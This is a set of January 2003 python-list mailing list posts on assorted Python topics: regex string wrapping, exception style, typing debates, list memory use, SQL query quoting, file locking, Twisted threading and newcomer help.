> string into a bunch of shorter ones of specified length, but I don't
> know if that would give a worthwhile speedup vs. the obvious list
> comprehension.

List comprehension?  Piffle!  You just got the ex-Perler in me to
speak out.

 >>> import re
 >>> print re.sub("(.{5})", r"\1\n", "Greetings and salutations!")
Greet
ings
and s
aluta
tions
!
 >>>

And now the "oh! I know about Python tricks" in me chimes in with

 >>> import re, codecs
 >>> def wrap_codec(name):
...     if not name.startswith("wrap"):
...         return None
...     s = name[4:]
...     if not s.isdigit():
...         return None
...     n = int(s)
...     def wrap_encode(input, errors = None):
...         return re.sub("(.{%d})" % n, "\\1\n", input), len(input)
...     return wrap_encode, None, None, None
...
 >>> codecs.register(wrap_codec)
 >>> print "Greetings and salutations!".encode("wrap5")
Greet
ings
and s
aluta
tions
!
 >>> print "Greetings and salutations!".encode("wrap9")
Greetings
  and salu
tations!
 >>>

And the "aren't the Pyhton 2.3 modules neat" part reminds everyone
about the 'textwrap' module, which is neat but not quite relevant
to this thread as it tries hard to fold on whitespace.

 >>> import textwrap
 >>> print textwrap.fill("Charlotte said 'Greetings and salutations!'",\
...                      13)
Charlotte
said
'Greetings
and
salutations!'
 >>>

BTW, I do line folding somewhat often, and wouldn't mind having a
function or string method which did that.  Not enough to push for
it though, since it is easy to write.  And some people who want
folds also want a continutation character, like a "\" at the end
or a ">" at the start, but having a library function which supports
those is too much.

Bah, I'll stick with writing bio/chem software instead of worrying
about all of this.  :)


					Andrew
					dalke at dalkescientific.com




From Paul_Rudin at scientia.com  Wed Jan 22 04:56:36 2003
From: Paul_Rudin at scientia.com (Paul Rudin)
Date: 22 Jan 2003 09:56:36 +0000
Subject: emacs pdb on windows problem
References: <ud6msjb5s.fsf@scientia.com> <u65six62t.fsf@hotmail.com>
Message-ID: <uhec1fqy3.fsf@scientia.com>

>>>>> "Felix" == Felix  <aprogrammer at hotmail.com> writes:


 Felix> gud.el(1319):

 Felix> (defvar gud-pdb-marker-regexp "^>
 Felix> \\([-a-zA-Z0-9_/.]*\\|<string>\\)(\\([0-9]+\\))\\([a-zA-Z0-9_]*\\|\\?\\)()\\(->[^\n]*\\)?\n")

 Felix> =>

 Felix> (defvar gud-pdb-marker-regexp "^>
 Felix> \\([-a-zA-Z0-9_/.:\\]*\\|<string>\\)(\\([0-9]+\\))\\([a-zA-Z0-9_]*\\|\\?\\)()\\(->[^\n]*\\)?\n")

Thanks, that helps. I also found I needed to make a pdb.bat file in
order to invoke python in order to get things working, containing the
following:

c:\python22\python.exe -u c:/python22/lib/pdb.pyc %1 %2 %3 %4 %5 %6 

and then customize the variable gud-pdb-command-name to point at this,
and also set py-pdbtrack-do-tracking-p to nil (which is from the
python-mode.el in the python sources - not part of the standard emacs
dist).

With these changes it seems to work fine.

-- 
It's a lot of fun being alive...  I wonder if my bed is made?!?



From max at alcyone.com  Tue Jan 28 19:25:42 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 28 Jan 2003 16:25:42 -0800
Subject: Which exception to use?
References: <b16lui$j3s$1@bob.news.rcn.net> <mailman.1043786834.24179.python-list@python.org> <3E36F151.40A0848B@engcorp.com> <mailman.1043792584.15068.python-list@python.org>
Message-ID: <3E371F86.409D7295@alcyone.com>

Chad Netzer wrote:

> I agree.  When raising a class, an instance is eventually created (by
> the interpreter).  I just meant that the user doesn't create it
> directly.  I haven't discerned which is more advantageous.  I guess it
> is (largely) a matter of personal style.

Presuming the exception is of the form
ExceptionSubclass(stringDescription), I prefer the format

	raise ExceptionSubclass, stringDescription

If you're doing extra fancy things and have overridden the exception
class to take a non-standard constructor, then I prefer the explcit form
of raising an instance:

	raise SomeOtherClass(errorCode, details, sequenceOfInfo)

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Patriotism is the last refuge of a scoundrel.
\__/ Samuel Johnson
    Kepler's laws / http://www.alcyone.com/max/physics/kepler/
 A proof of Kepler's laws.



From gbrunet at nospamsempersoft.com  Mon Jan  6 13:28:30 2003
From: gbrunet at nospamsempersoft.com (Greg Brunet)
Date: Mon, 6 Jan 2003 12:28:30 -0600
Subject: Python vs .Net
References: <mailman.1041871989.12874.python-list@python.org>
Message-ID: <v1kbo13cguno88@corp.supernews.com>

"Brian Quinlan" <brian at sweetapp.com> wrote in message
news:mailman.1041871989.12874.python-list at python.org...
> There is a lot of literature explaining the advantages/disadvantages
of
> static typing. The biggest advantage, IMHO, is that dynamic typing
gives
> you more flexibility.

If anyone has a good link in mind for this, I'd appreciate a pointer.
Googling around, I found this article making a case for dynamic typing
(in Smalltalk - but I get the point):
http://www.chimu.com/publications/short/whyDynamicTyping.html.  After
looking at that article, I'm wondering if it might not be the case that
dynamic typing might be better for folks building framework and core
routines (such as collections, lists, etc.), while static typing might
be better for folks developing 'database/business application level
code'.  Could it be that the additional compile time checking is worth
more to me due to either my coding style, or the types of problems I'm
trying to solve?

> > If I have to wait until runtime, then I
> > would think that I need to be writing LOTS more error checking code
at
> > all my function entry points, whereas with strong static typing, I
can
> > catch all this at compile time.
>
> Type information is usually not sufficient to validate arguments. And
> functions don't validate their arguments in any case. So you often
have
> to do runtime debugging. Python has two things going for it here: very
> rich exceptions and a good unit testing framework.

I agree that my job is not done by simply relying on strong static
typing.  Additional validation is often required.  It does, however,
eliminate the need for type-check code within my routines, which would,
I think, add a lot more code if I had to implement it everywhere.

Take care,

--
Greg





From max at alcyone.com  Sun Jan 19 21:24:23 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 19 Jan 2003 18:24:23 -0800
Subject: comprehensions was Re: Switch statements again
References: <mailman.1042817433.6322.python-list@python.org>
Message-ID: <3E2B5DD7.CA1AC179@alcyone.com>

Tim Peters wrote:

> I hope to God nobody is doing that in real life, but then I never
> expected anyone to do
> 
>     (f() and [g()] or [h()])[0]
> 
> in real life either <0.5 wink>.

Well, I hope that in "real life" people aren't really doing this
commonly.  The point of wanting a conditional operator (which I would
gladly welcome in Python, by the way) is readability; this utterly
destroys that.  `p and x or y' (when x is known not to be false) is
barely tolerable, but even that is seriously pushing it.

People don't really commonly use the (p and [x] or [y])[0] trick, do
they?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Yes I'm / Learning from falling down / Heavily
\__/ Lamya
    Fauxident / http://www.alcyone.com/pyos/fauxident/
 A "faux" ident daemon in Python.



From p-abel at t-online.de  Thu Jan 16 16:28:10 2003
From: p-abel at t-online.de (Peter Abel)
Date: 16 Jan 2003 13:28:10 -0800
Subject: Regex replacement operation
References: <20030116153725.C1683@regdp-02.intint.registriesltd.com.au> <mailman.1042698629.26788.python-list@python.org>
Message-ID: <13a533e8.0301161328.20d65276@posting.google.com>

Cliff Wells <clifford.wells at attbi.com> wrote in message news:<mailman.1042698629.26788.python-list at python.org>...
> On Wed, 2003-01-15 at 20:37, David K. Trudgett wrote:
> > I'm trying to write a little micro function in Python that takes a
> > string with numeric dates in it and changes those dates into an
> > ISO8601 format. The dates in the input string are in a consistent
> > format, so that simplifies it. In Perl, I could write something like
> > the following to do it:
> > 
> > $str = 'Today is 16-1-2003 or 16-01-2003. New Year was 1-1-2003, reportedly.';
> > 
> > $str =~ s/ \b (\d{1,2}) - (\d{1,2}) - (\d{4}) \b /
> >     $3 . '-' . sprintf('%02d', $2) . '-' . sprintf('%02d', $1) /gxe;
> > 
> > which would make $str contain:
> > 
> > "Today is 2003-01-16 or 2003-01-16. New Year was 2003-01-01, reportedly."
> > 
> > 
> > How would I go about doing that in Python?
> > 
> > I've looked up the "re" module, but don't see any "substitute"
> > command, so it seems a different approach may be in order.
> 
[snip]

There is one!

>>> import re
>>> s = 'Today is 16-1-2003 or 16-01-2003. New Year was 1-1-2003,
reportedly.'
>>> # define a formatting-function
>>> format=lambda match:'%04d-%02d-%02d'%(int(match.group(3)),int(match.group(1)),int(match.group(2)))
>>> # and substitute
>>> re.sub(r'(\d+)-(\d+)-(\d+)',format,s)
'Today is 2003-16-01 or 2003-16-01. New Year was 2003-01-01,
reportedly.'
>>> 

Regards,
Peter



From wyojustin at hotmail.com  Sun Jan  5 21:05:08 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Sun, 5 Jan 2003 21:05:08 -0500
Subject: Newbie need's help & will give back what I can???
References: <eB0S9.20176$Sa3.725600@twister.tampabay.rr.com>
Message-ID: <tDOdnTBd18nKeYWjXTWc2Q@comcast.com>

<fcoldwat at tampabay.rr.com> wrote in message
news:eB0S9.20176$Sa3.725600 at twister.tampabay.rr.com...
> Hay this Shane.....
>     Ive been a computer geek my whole life and know alot about them....I
had
> a hard time in my life growing up and money problems...I have learnd all I
> know up till now and need some help with programming...This is my problem,
I
> cant memorize all the diffrent terms that are used or the format which the
> language Python is in....Thats ok I will get with time,,I need some very
> easy projects to start with is all....Just till I get used to all
this...And
> yes this is my first time programming to...But im a quick learner and am
not
> scared to jump into this...I jumped into redhat linux 7.2 and had no
problem
> running it...Just was a new OS and had to get used to it...Send what you
can
> to help me in anyway at redlinux293 at juno.com I will be so happy to see
> somthing...This is my dream to program...I cant afford schooling and I
> belive in freeware because I wouldent be whare im at with out it....Thank
> you for reading this....I do need help to anything that will point me in
the
> right direction of programming....
>
>

Shane,

Start here http://www.python.org/doc/current/tut/tut.html.  Work all of the
examples on your computer while you read.  Then start small, write a
function that sorts a list, one that prints the current time in English.
Ask again if you run into any hurdles.

Justin





From NineOfSix at gmx.de  Wed Jan 22 10:57:51 2003
From: NineOfSix at gmx.de (Axel Grune)
Date: Wed, 22 Jan 2003 16:57:51 +0100
Subject: MS SQL Server
Message-ID: <b0meuj$inn$05$1@news.t-online.com>

Hi, I'm wondering if Microsoft's SQL Server can be accessed using Python?
I've found the both ODBC moduls on www.python.org, 'mxODBC' and 'ODBC 
interface'. Do they work reliable? What's about the Oracle moduls?

TIA,
Axel

--

Gnade bring uns nicht weiter;-)




From LogiplexSoftware at earthlink.net  Fri Jan 17 18:06:30 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 17 Jan 2003 15:06:30 -0800
Subject: Laura's List - was Re: new years resolutions
In-Reply-To: <200301070838.h078csjL000548@ratthing-b246.strakt.com>
References: <20030106212551.A19866@bob.sesgroup.com.au>
	 <mailman.1041872455.22710.python-list@python.org>
	 <3E1A43FA.ED37F9F7@engcorp.com>
	 <200301070838.h078csjL000548@ratthing-b246.strakt.com>
Message-ID: <1042844790.32107.252.camel@software1.logiplex.internal>

On Tue, 2003-01-07 at 00:38, Laura Creighton wrote:
> > > Hee hee.  You need a CAPS system.  see www.strakt.com ...
> > 
> > CAPS?  Please expand...
> > 
> Er, thats the acronym for what we build around here.  You aren't going
> to find out about it anywhere but www.strakt.com ...

The web is too hard... I'd rather just guess: I'm *sure* the C stands
for "cat", but I'm at a loss as to the other letters... does the P stand
for "propulsion"?  I hope so, 'cause I like both cats and propulsion.

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From ykingma at accessforall.nl  Fri Jan 24 02:58:45 2003
From: ykingma at accessforall.nl (Ype Kingma)
Date: Fri, 24 Jan 2003 08:58:45 +0100
Subject: Using Java from Python
References: <mailman.1043375742.26909.python-list@python.org>
Message-ID: <3e30f793$0$128$e4fe514c@dreader5.news.xs4all.nl>

Mongryong wrote:

> Is it possible to write a Python 'c' module that executes Java code? Or,

Yes.

> is there a way to integrate Jython with Python without having to spawn a
> new process?

You might be interested in the java python extension:
http://sourceforge.net/projects/jpe

Good luck,
Ype

-- 
email at xs4all.nl



From mertz at gnosis.cx  Tue Jan 28 23:49:20 2003
From: mertz at gnosis.cx (David Mertz, Ph.D.)
Date: Tue, 28 Jan 2003 23:49:20 -0500
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com>
 <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com>
 <mailman.1043791529.1041.python-list@python.org>
 <7xr8awg6lt.fsf@ruckus.brouhaha.com>
Message-ID: <Q11N+kKkXQvN092yn@gnosis.cx>                

Paul Rubin <phr-n2003b at NOSPAMnightsong.com> wrote previously:
|So a new PEP would just be PEP 272 with the non-ECB modes
|removed, pretty much.  Does anyone seriously think that's necessary?

I *absolutely* think that is necessary.  Probably a revision to PEP 272
is more appropriate than an entirely new one.  But I would most
certainly want to see that revision in place prior to anything going
into a Python 2.3 alpha.  That's what PEPs are FOR, after all.

--
 mertz@   _/_/_/_/_/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY:_/_/_/_/ v i
gnosis  _/_/                    Postmodern Enterprises         _/_/  s r
.cx    _/_/  MAKERS OF CHAOS....                              _/_/   i u
      _/_/_/_/_/ LOOK FOR IT IN A NEIGHBORHOOD NEAR YOU_/_/_/_/_/    g s





From mwm at mired.org  Tue Jan 14 10:34:12 2003
From: mwm at mired.org (Mike Meyer)
Date: Tue, 14 Jan 2003 15:34:12 GMT
Subject: flock experience
References: <qBQ7XIAU41I+EwVv@jessikat.fsnet.co.uk>
Message-ID: <x7y95nrbio.fsf@guru.mired.org>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:
> has anybody good experience using file locking in python. I have the
> typical problem of opening a log file for a short time (cgi environment)
> in a multiprocess world. So far I think we have been lucky, but our 8
> machine front end is contracting to one machine, just for us, so the
> collision probabilities are rising. I see there's a recipe in the pcb,
> but what happens to locked out processes etc etc.

To answer the question actually asked - yes, I've had good experience
using file locking with Python. That is, the locking worked, and kept
the file from being screwed up. However, it's not an experience I'd
care to repeat. File locking is fine for a single file. Once things
got more complicated, it gets messy. I finally punted, and started
logging to an SQL database.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From johocus at zonnet.nl  Tue Jan 14 13:07:19 2003
From: johocus at zonnet.nl (jodocus)
Date: Tue, 14 Jan 2003 19:07:19 +0100
Subject: newbie looking for help, int reference question
Message-ID: <pan.2003.01.14.19.07.19.38207.2750@zonnet.nl>

hi,

i am learning python, but at the moment i cannot afford to buy a book on
the subject. So i am trying to find all the appropriate information on the
web. This proves difficult, so if anyone knows a good (complete) online
book/resource about the language, i would like to know. I am looking for
more than just a tutorial (these are not hard to find), but rather a
complete work that describes the details of the language.

A thing I just ran into and couldn't find in the tutorials i am using:

>>> i = 10
>>> j = i
>>> i is j
1
>>> i += 10
>>> i
20
>>> j
10

it seems that, after adding a value, i has become another object. So i
guess the + operator makes a new object, does this mean that ints are
'immutable'? How do i make sure that j changes when i does? Is this
comparable to the Java distinction between objects and primitive types,
where objects are referenced but primitives are not?

As a C/C++ programmer i really like to know whether i am dealing with
pointers or not, this makes me feel more sure about the correctness of the
code i am writing.

Thanks a lot,

R



From lac at strakt.com  Mon Jan 20 19:31:08 2003
From: lac at strakt.com (Laura Creighton)
Date: Tue, 21 Jan 2003 01:31:08 +0100
Subject: license 
In-Reply-To: Message from "Arthur" <ajs@ix.netcom.com> 
   of "Mon, 20 Jan 2003 18:57:38 EST." <005e01c2c0df$b6ef47d0$63a09840@Arts> 
References: <005e01c2c0df$b6ef47d0$63a09840@Arts> 
Message-ID: <200301210031.h0L0V8jL009221@ratthing-b246.strakt.com>

Do you understand why that person is overwriting the file?  By this I mean,
since he too is the hero of his own story of his life, somewhere in his
thoughts what he is doing makes perfectly good sense and is justifiable
to him.  Do you know what those thoughts are?

It is very likely that there is a solution out there that does not
require lawyers, forking the project, or creative anger.  But I cannot
help find it is because I don't know why he would do something like that.
Why did this make sense for him?  Do you know?

Laura Creighton




From mikael at isy.liu.se  Mon Jan 13 11:02:42 2003
From: mikael at isy.liu.se (Mikael Olofsson)
Date: Mon, 13 Jan 2003 17:02:42 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re:  [ann]MinimalPython project)
In-Reply-To: <7xn0m5hxxp.fsf@ruckus.brouhaha.com>
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net>
	<mailman.1042428982.26240.python-list@python.org>
	<vAsU9.66$_d2.118955@news.uswest.net>
	<5ItU9.7305$Dq.767535@newsread2.prod.itd.earthlink.net>
	<3E228E81.81B0FACD@alcyone.com>
	<7xn0m5hxxp.fsf@ruckus.brouhaha.com>
Message-ID: <20030113170242.7713d52f.mikael@isy.liu.se>

On 13 Jan 2003 07:27:46 -0800
Paul Rubin <phr-n2002b at NOSPAMnightsong.com> wrote:
> I don't see pithy as having negative connotations beyond sounding a
> little bit like "pissy".  But I'm not that crazy about it anyway.

It does look a lot like pity, which gives me negative vibes.

/Mikael

-----------------------------------------------------------------------
E-Mail:  mikael at isy.liu.se
WWW:     http://www.dtr.isy.liu.se/dtr/staff/mikael               
Phone:   +46 - (0)13 - 28 1343
Telefax: +46 - (0)13 - 28 1339

         /"\
         \ /     ASCII Ribbon Campaign
          X      Against HTML Mail
         / \

This message was sent by Sylpheed.
-----------------------------------------------------------------------
Link?pings kammark?r: www.kammarkoren.com




From max at alcyone.com  Thu Jan 16 18:40:37 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 16 Jan 2003 15:40:37 -0800
Subject: comprehensions was Re: Switch statements again
References: <1042670767.3e25e4afa12e5@www.progoth.com> <mailman.1042672181.22990.python-list@python.org> <a8b7f07a.0301160724.424a1025@posting.google.com> <mailman.1042731556.340.python-list@python.org>
Message-ID: <3E2742F5.AF9438CE@alcyone.com>

Sean 'Shaleh' Perry wrote:

> comprehensions are hard on the reader until they start using them.  I
> am in
> the archives of this and -tutor stating my disklike for them for this
> reason.
> Now that I routinely use them in my own code I do like them but there
> is a
> significant penalty to the new Pythoner.

And, like any language feature, they can be abused.  It is easy to make
list comprehensions, or the use of lambda, or even while loops, that are
painfully difficult for someone other than yourself (or yourself in a
month!) to read.

A well-chosen, clean list comprehension can, in my opinion, be
considerably easier to read than a corresponding lambda/map/filter, and
can be much more compact than an explicit loop.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Laughter is the only genuine form of applause.
\__/ Camden Benares
    Alcyone Systems' Daily Planet / http://www.alcyone.com/planet.html
 A new, virtual planet, every day.



From max at alcyone.com  Wed Jan 15 04:30:39 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 15 Jan 2003 01:30:39 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <7xbs2kt246.fsf@ruckus.brouhaha.com> <3E23F3DA.EB485C59@alcyone.com> <7x7kd83pmc.fsf@ruckus.brouhaha.com> <3E24C336.C51EDD2A@alcyone.com> <7xbs2jdtzm.fsf@ruckus.brouhaha.com> <cb035744.0301150028.3b584272@posting.google.com> <3E25202D.D32F5CEF@alcyone.com> <7xr8bekcfc.fsf@ruckus.brouhaha.com>
Message-ID: <3E252A3F.EDED1438@alcyone.com>

Paul Rubin wrote:

> You can't count on the remote host staying the same between http hits,
> even from the same client, because some proxy servers can switch IP
> addresses out from under you beteen hits.  That happens with AOL
> users, for example.

In my experience this hasn't really been a problem.  Maybe you'll have
different experience.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Substance is one of the greatest of our illusions.
\__/ Sir Arthur Eddington
    Bosskey.net: Return to Wolfenstein / http://www.bosskey.net/rtcw/
 A personal guide to Return to Castle Wolfenstein.



From ron-breon at stny.rr.com  Wed Jan 22 17:50:43 2003
From: ron-breon at stny.rr.com (ron-breon)
Date: Wed, 22 Jan 2003 17:50:43 -0500
Subject: Problem: Need help!!  - thanks
Message-ID: <002f01c2c268$b1f3afc0$0400a8c0@newtackldap>

I received the following message when invoking redhat-config-users (User Manager)..

I am running RedHat Linux 7.3 and keep up with all the updates...

 I tried to run User Manager and received the following messages and User
 Manager no longer works and I can't find out what is wrong... Any
 Ideas??

 Messages:

 file "/usr/share/redhat-config-users/redhat-config-users.py". line 25, in ? import libuser
 ImportError: /usr/lib/python2.2/site-packages/libusermodule.so: undefiined symbol: PyUnicodeUCS4_AsUTF8String

Sent note to python-list based on the following respnse.. thanks Brentt C.

Looks like a C extension module that Red Hat distributes (you can tell it
isn't a part of Python because it is in the site-packages directory) is
missing the definition of a variable.  Without access to the original C
code there is nothing anyone can do.

It would be best to ask this question on python-list at python.org (this
address is for web site related issues only).  That list is a gatewary to
comp.lan.python and you have a better chance of getting help there.  And
since it is a Red Hat issue chances are you are not the only person to
have run into it and thus there is most likely someone out there with an
answer for you.

-Brett C.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030122/c4b5c1b9/attachment.html>

From andrew-pythonlist at puzzling.org  Thu Jan 30 22:38:07 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 31 Jan 2003 14:38:07 +1100
Subject: Scripting *of* Python
In-Reply-To: <3E39E891.780CFC81@alcyone.com>
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <3E39E891.780CFC81@alcyone.com>
Message-ID: <20030131033807.GG14761@frobozz.local>

On Thu, Jan 30, 2003 at 07:08:01PM -0800, Erik Max Francis wrote:
> Phil Mayers wrote:
> 
> > It's a contrived example, but I'm sure you see what I mean - the
> > function
> > cannot block for very long, so it has to queue itself. This code
> > quickly
> > gets unreadable (the code it *would* be in a thread is over 1k lines!)
> > and
> > non-technical (well, less technical) people have to be able to write
> > it.
> 
> As much as I prefer to recommend this as rarely as possible, it sounds
> like a threaded approach might really be in order.  This sounds really
> like the case where an asynchronous framework (whether it's Medusa or
> Twisted or whatever) is going to be have problems because you need to do
> a lot of work in between asynchronous I/O polls, and the only
> alternative is breaking the work up into chunks which then makes it much
> harder to read, debug, and maintain.

That doesn't preclude the use of Twisted, though.

    from twisted.internet.threads import deferToThread
    d = deferToThread(func, *args, **kwargs)
    d.addCallback(myProtocol.sendResult)
    d.addErrback(myProtocol.sendError)

This way you can keep doing your network I/O with Twisted, and your long
running calculations in a thread, if you really need to.  Twisted's DB-API
wrapper, twisted.enterprise.adbapi, works this way.

-Andrew.





From skip at pobox.com  Mon Jan 13 09:12:47 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 13 Jan 2003 08:12:47 -0600
Subject: tkinter: Scrolling Very Long Menus On X-Windows
In-Reply-To: <mldtva.9cr.ln@boundary.tundraware.com>
References: <2v1tva.qap.ln@boundary.tundraware.com>
        <mailman.1042422442.2728.python-list@python.org>
        <mldtva.9cr.ln@boundary.tundraware.com>
Message-ID: <15906.51551.425242.589948@montanaro.dyndns.org>

    >> With a little bit of work you could make an auto-cascading or
    >> auto-subdividing menu, though.

    Tim> Thanks - I wonder how practical it would be to inherit from Menu
    Tim> and add scrolling ...

You might want to see if PMW already has such a beast.

Skip




From martin at v.loewis.de  Mon Jan 27 12:37:57 2003
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Mon, 27 Jan 2003 18:37:57 +0100
Subject: how to use unicode?(2)
In-Reply-To: <200301271519.AEN74572@md2.gx163.net>
References: <200301271519.AEN74572@md2.gx163.net>
Message-ID: <3E356E75.3060604@v.loewis.de>

gfu wrote:
> it's ok.but:
> 	>>> s = unicode('??', 'gb2312') 
> 	UnicodeError: ASCII encoding error: ordinal not in range(128)

As I said, you cannot enter non-ASCII characters in interactive mode. 
For Python 2.2, you cannot even enter non-ASCII in the IDLE editor. 
Instead, you have to use a different editor, such as notepad.exe, or 
/usr/bin/vi.

> how to install a codec for gb2312 ? how to my input is really encoded in gb2312?

In IDLE, only ASCII is supported. For an external text editor - well, 
you should know what encoding your text editor uses.

Regards,
Martin






From wsadkin at nameconnector.com  Fri Jan 17 10:51:35 2003
From: wsadkin at nameconnector.com (Will Sadkin)
Date: 17 Jan 2003 07:51:35 -0800
Subject: Can you obtain names from parent scope?
Message-ID: <850fb3a6.0301170751.488179c6@posting.google.com>

I want to write a function that takes an arbitrary set of objects,
and prints them in the form "name = <value>."  That is, I want to be
able to say:

>>> a = 'hi!'
>>> dbgval(a)
a = hi!
>>> b = 2
>>> dbgval(b)
b = 2

However I can't make this work, because objects don't have any
intrinsic name, and if I write a function of the form
>>> def dbgval(*args):
    ...

then dbgval() only knows the arguments objects as belonging to the
list 'args', and I can't find any way to determine what the names
were in the parent's local scope when the function was called.
Is there any way for a function to retrieve this information?

Thanks in advance,
/Will Sadkin
Parlance Corporation



From member22845 at dbforums.com  Thu Jan 16 18:10:21 2003
From: member22845 at dbforums.com (edd_m)
Date: Thu, 16 Jan 2003 23:10:21 +0000
Subject: How to display a web page using mshtml
References: <jIt99.372$al5.28697911@newssvr21.news.prodigy.com>
Message-ID: <2400307.1042758621@dbforums.com>

Use an iframe. Set the iframe's src to your python or whatever script.
Get the script to output HTML. THe iframe will then contain the scripts
output HTML. Set the contenteditable property of the iframe to true,
you'll now be able to edit the HTML inside.

Cheers :)

--
http://www.editworkspro.com


Posted via http://dbforums.com



From tim.one at comcast.net  Sat Jan 25 07:41:42 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sat, 25 Jan 2003 07:41:42 -0500
Subject: memory leak with large list??
In-Reply-To: <NcicnV009axjSqyjXTWc2Q@comcast.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEDJDKAB.tim.one@comcast.net>

[someone]
>> Then I generate a large list (12 million floats), either using map,
>> a list comprehension, or preallocating a list, then filling it using a
>> for loop.

[Terry Reedy]
> 12 million different floats use 12 million * sizeof float object
> bytes. Float object is at least 8 bytes for float + object overhead
> (about 4 bytes?)

Each object has at least a pointer to the object's type object, and a
refcount, for at least 8 bytes of overhead.  So a float object consumes at
least 16 bytes.

> list has array of 12 millions pointers (4 (or possibly 8) bytes).  Thus
> at least  be 16 * 12 million, roughly 200 million bytes, regardless of
> method.

At least 192 million for the float objects, and at least 48 million for the
list.

>> When I check the memory footprint again, it is larger than I would
>> expect, but I'm not sure what the per element overhead of a list is.
>>
>> %MEM  RSS  RSS    SZ   VSZ
>> 46.2 237648 237648 59690 238760


> If 237648 is # of Kbytes, it is roughly what should expect.

Yup.

>> So then delete it.
>>
>> >>> del(big_list)
>>
>> But the memory footprint of the process remains very large:
>>
>> %MEM  RSS  RSS    SZ   VSZ
>> 37.1 190772 190772 47971 191884

> Deleting frees mem for reuse by Python but does not necessarily return
> memory to system for reuse by other processes.  (Exact behavior is
> *very* system specific, according to Tim Peters' war stories.)

Its worse in this case:  int and float objects come out of special internal
type-specific "free lists", and there's no bound on how large those can get.
Here's the deallocator for floats:

static void
float_dealloc(PyFloatObject *op)
{
	if (PyFloat_CheckExact(op)) {
		op->ob_type = (struct _typeobject *)free_list;
		free_list = op;
	}
	else
		op->ob_type->tp_free((PyObject *)op);
}

IOW, memory once allocated for a float can never be reused for any other
kind of object, and isn't returned to the platform C library until Python
shuts down.  The list memory did get returned to the platform C library, and
in this case it looks like the latter did return that chunk to the OS.  If
the OP had allocated some other "large object" after allocating the list,
chances are good that the platform C would not have returned the list memory
to the OS.  Even then, it doesn't much matter -- the OS will simply page out
that part of the address space if it's not used again.  The VM highwater
mark doesn't have a primary effect on performance.





From nospam at earthlink.net  Wed Jan  8 07:21:57 2003
From: nospam at earthlink.net (taocairns)
Date: Wed, 08 Jan 2003 12:21:57 GMT
Subject: Help: Omitting quotes from SQL Queries.
In-Reply-To: <2360684.1042021809@dbforums.com>
References: <2356598.1041950714@dbforums.com> <2360684.1042021809@dbforums.com>
Message-ID: <3E1C185B.50507@earthlink.net>

keithk wrote:
> Hi again,
> 
> I have tried some of your suggestions when using a variable for a
> column name:
> 
> Using a correct Column name:
> 
> fileName = "Hello World's"
> for fileName in fileNameList:
>       cursor.execute("""SELECT fileSize FROM DBServer.database a where
>       a.ColumnName = "%s" """" % fileName)
>       fileSizes = cursor.fetchall()
> 
> Above returns an 'invalid column name' error.
> 
> fileName = "Hello World's"
> for fileName in fileNameList:
>       cursor.execute("SELECT fileSize FROM DBServer.database a where
>       a.ColumnName= %s " % fileName)
>       fileSizes = cursor.fetchall()
> 
> Above gives an "incorrect syntax near" error.
> 
> 
> fileName = "Hello World's"
> for fileName in fileNameList:
>       cursor.execute("SELECT fileSize FROM DBServer.database a where
>       a.ColumnName= '%s' " % (fileName),)
>       fileSizes = cursor.fetchall()
> 
> I also tried the above with various qoutes, eg:
> 
> fileName = "Hello World's"
> for fileName in fileNameList:
>       cursor.execute("""SELECT fileSize FROM DBServer.database a where
>       a.ColumnName = '"%s" """ % (fileName),)
>       fileSizes = cursor.fetchall()
> 
> 'Invalid column name' is returned, this is returned whenever I use the
> triple qoutes, """.
> 
> If I use string.replace() method and replace the ' with " then I receive
> no errors but no data is retrived from the DB as "Hello World's" does
> not equal 'Hello World"s' thus no match is made in the DB.
> 
> Daniel,
> 
> Could you give me a little more detail about the
> 
> execute ("SELECT ...",[fileName]) appraoch as I am not familiar with
> the syntax.
> 
> Thanks to all for replying.
> 
> --
> Posted via http://dbforums.com
I'm out of my depth on SQL, but it looks like cursor.execute() is 
expecting more than one argument?

I suggest you play with the parameter string in the interactive window 
to see just what it is that you are feeding SQL.




From kalafutj1 at yahoo.com  Sat Jan 11 01:28:14 2003
From: kalafutj1 at yahoo.com (Jim Kalafut)
Date: Sat, 11 Jan 2003 06:28:14 GMT
Subject: SAX parsing error related to newlines
References: <WEMT9.3668$No.600@sccrnsc04>
Message-ID: <2QOT9.5591$No.609@sccrnsc04>

Never mind... I had a really, really dumb error in my handler that was
causing all the problems (I was inadverantly changing the file I was
reading!).

Jim





